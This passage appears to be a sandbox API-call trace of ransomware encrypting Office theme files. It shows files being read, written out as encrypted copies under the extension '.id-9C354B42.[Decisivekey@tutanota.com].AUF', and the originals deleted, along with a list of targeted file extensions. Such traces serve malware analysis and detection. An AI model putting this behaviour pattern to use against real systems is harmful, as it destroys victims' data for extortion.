SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.832] GetLastError () returned 0x0 [0213.832] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0213.847] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0213.848] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.848] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.848] SetEndOfFile (hFile=0x194) returned 1 [0213.848] CloseHandle (hObject=0x194) returned 1 [0213.848] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.848] SetEndOfFile (hFile=0x224) returned 1 [0213.849] CloseHandle (hObject=0x224) returned 1 [0213.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0213.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.850] lstrlenW (lpString=".doc") returned 4 [0213.850] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.850] lstrlenW (lpString=".docx") returned 5 [0213.850] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.850] lstrlenW (lpString=".pdf") returned 4 [0213.850] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.850] lstrlenW (lpString=".xls") returned 4 [0213.850] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.850] lstrlenW (lpString=".xlsx") returned 5 [0213.850] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.850] lstrlenW (lpString=".ppt") returned 4 [0213.850] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.850] lstrlenW (lpString=".zip") returned 4 [0213.850] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.850] lstrlenW (lpString=".rar") returned 4 [0213.850] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.850] lstrlenW (lpString=".bz2") returned 4 [0213.850] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.850] lstrlenW (lpString=".7z") returned 3 [0213.850] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.850] lstrlenW (lpString=".dbf") returned 4 [0213.850] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.850] lstrlenW (lpString=".1cd") returned 4 [0213.850] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.850] lstrlenW (lpString=".jpg") returned 4 [0213.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString=".doc") returned 4 [0213.851] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString=".docx") returned 5 [0213.851] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.851] lstrlenW (lpString=".pdf") returned 4 [0213.851] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString=".xls") returned 4 [0213.851] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.851] lstrlenW (lpString=".xlsx") returned 5 [0213.851] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.851] lstrlenW (lpString=".ppt") returned 4 [0213.851] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString=".zip") returned 4 [0213.851] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.851] lstrlenW (lpString=".rar") returned 4 [0213.851] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.851] lstrlenW (lpString=".bz2") returned 4 [0213.851] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString=".7z") returned 3 [0213.851] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString=".dbf") returned 4 [0213.851] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString=".1cd") returned 4 [0213.851] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0213.851] lstrlenW (lpString=".jpg") returned 4 [0213.851] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.852] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.852] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.852] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1009) returned 1 [0213.853] CloseHandle (hObject=0x224) returned 1 [0213.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0213.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.853] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.853] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.854] GetLastError () returned 0x0 [0213.854] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0213.905] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x400, lpOverlapped=0x0) returned 1 [0213.906] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.906] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.906] SetEndOfFile (hFile=0x194) returned 1 [0213.906] CloseHandle (hObject=0x194) returned 1 [0213.906] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.906] SetEndOfFile (hFile=0x224) returned 1 [0213.907] CloseHandle (hObject=0x224) returned 1 [0213.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.907] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0213.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.907] lstrlenW (lpString=".doc") returned 4 [0213.907] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.907] lstrlenW (lpString=".docx") returned 5 [0213.907] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.907] lstrlenW (lpString=".pdf") returned 4 [0213.907] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.907] lstrlenW (lpString=".xls") returned 4 [0213.907] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.907] lstrlenW (lpString=".xlsx") returned 5 [0213.907] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.908] lstrlenW (lpString=".ppt") returned 4 [0213.908] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".zip") returned 4 [0213.908] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".rar") returned 4 [0213.908] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".bz2") returned 4 [0213.908] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString=".7z") returned 3 [0213.908] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".dbf") returned 4 [0213.908] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".1cd") returned 4 [0213.908] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".jpg") returned 4 [0213.908] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".doc") returned 4 [0213.908] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString=".docx") returned 5 [0213.908] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.908] lstrlenW (lpString=".pdf") returned 4 [0213.908] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".xls") returned 4 [0213.908] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".xlsx") returned 5 [0213.908] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.908] lstrlenW (lpString=".ppt") returned 4 [0213.908] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".zip") returned 4 [0213.908] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".rar") returned 4 [0213.908] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.908] lstrlenW (lpString=".bz2") returned 4 [0213.908] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString=".7z") returned 3 [0213.908] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".dbf") returned 4 [0213.908] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".1cd") returned 4 [0213.908] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0213.908] lstrlenW (lpString=".jpg") returned 4 [0213.908] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.909] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.909] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.909] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2209) returned 1 [0213.909] CloseHandle (hObject=0x224) returned 1 [0213.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0213.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.909] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.909] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.919] GetLastError () returned 0x0 [0213.919] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0213.939] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0213.939] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.939] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.939] SetEndOfFile (hFile=0x180) returned 1 [0213.939] CloseHandle (hObject=0x180) returned 1 [0213.940] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.940] SetEndOfFile (hFile=0x224) returned 1 [0213.940] CloseHandle (hObject=0x224) returned 1 [0213.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".doc") returned 4 [0213.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.941] lstrlenW (lpString=".docx") returned 5 [0213.941] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.941] lstrlenW (lpString=".pdf") returned 4 [0213.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString=".xls") returned 4 [0213.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString=".xlsx") returned 5 [0213.941] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.941] lstrlenW (lpString=".ppt") returned 4 [0213.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".zip") returned 4 [0213.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString=".rar") returned 4 [0213.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString=".bz2") returned 4 [0213.941] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.941] lstrlenW (lpString=".7z") returned 3 [0213.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".dbf") returned 4 [0213.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".1cd") returned 4 [0213.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".jpg") returned 4 [0213.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.941] lstrlenW (lpString=".doc") returned 4 [0213.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.941] lstrlenW (lpString=".docx") returned 5 [0213.941] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.941] lstrlenW (lpString=".pdf") returned 4 [0213.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.942] lstrlenW (lpString=".xls") returned 4 [0213.942] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.942] lstrlenW (lpString=".xlsx") returned 5 [0213.942] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.942] lstrlenW (lpString=".ppt") returned 4 [0213.942] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.942] lstrlenW (lpString=".zip") returned 4 [0213.942] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.942] lstrlenW (lpString=".rar") returned 4 [0213.942] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.942] lstrlenW (lpString=".bz2") returned 4 [0213.942] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.942] lstrlenW (lpString=".7z") returned 3 [0213.942] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.942] lstrlenW (lpString=".dbf") returned 4 [0213.942] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.942] lstrlenW (lpString=".1cd") returned 4 [0213.942] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0213.942] lstrlenW (lpString=".jpg") returned 4 [0213.942] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.942] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.942] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.942] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2527) returned 1 [0213.942] CloseHandle (hObject=0x224) returned 1 [0213.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0213.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.943] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.943] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.943] CreateFileW 